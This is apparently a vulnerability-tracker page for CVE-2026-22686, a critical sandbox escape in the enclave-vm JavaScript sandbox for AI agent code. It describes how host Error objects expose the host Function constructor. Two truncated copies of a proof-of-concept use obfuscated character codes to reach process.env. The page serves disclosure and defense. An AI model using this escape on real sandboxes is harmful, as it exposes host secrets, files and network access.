CVE-2026-22686
published 2026-01-14CVE-2026-22686: Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in…
PriorityP269critical10CVSS 3.1
AVNACLPRNUINSCCHIHAH
EPSS
0.59%
43.7th percentile
Enclave is a secure JavaScript sandbox designed for safe AI agent code execution. Prior to 2.7.0, there is a critical sandbox escape vulnerability in enclave-vm that allows untrusted, sandboxed JavaScript code to execute arbitrary code in the host Node.js runtime. When a tool invocation fails, enclave-vm exposes a host-side Error object to sandboxed code. This Error object retains its host realm prototype chain, which can be traversed to reach the host Function constructor. An attacker can intentionally trigger a host error, then climb the prototype chain. Using the host Function constructor, arbitrary JavaScript can be compiled and executed in the host context, fully bypassing the sandbox and granting access to sensitive resources such as process.env, filesystem, and network. This breaks enclave-vm’s core security guarantee of isolating untrusted code. This vulnerability is fixed in 2.7.0.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| agentfront | enclave | < 2.7.0 | 2.7.0 |
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
OSV
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
osv·2026-01-14
CVE-2026-22686 [CRITICAL] enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
A critical sandbox escape vulnerability exists in **enclave-vm** (affected: ** ⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
Click to expand PoC
```javascript
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const
GHSA
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
ghsa·2026-01-14
CVE-2026-22686 [CRITICAL] CWE-94 enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
enclave-vm Vulnerable to Sandbox Escape via Host Error Prototype Chain
A critical sandbox escape vulnerability exists in **enclave-vm** (affected: ** ⚠️ For defensive validation and maintainers. Do not run PoCs on hosts you don’t own/control.
Click to expand PoC
```javascript
// Vector 35: The Host Error Escape
// Purpose: Trigger a Host-side error and traverse its prototype chain
// to reach the Host Function constructor.
const s = (...args) => String.fromCharCode(...args);
const kCon = s(99,111,110,115,116,114,117,99,116,111,114); // "constructor"
const kProto = s(95,95,112,114,111,116,111,95,95); // "__proto__"
const kLookup = s(95,95,108,111,111,107,117,112,71,101,116,116,101,114,95,95);
const kCode = s(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,101,110,118);
const
No detection rules found.
No public exploits indexed.
2026-01-14
Published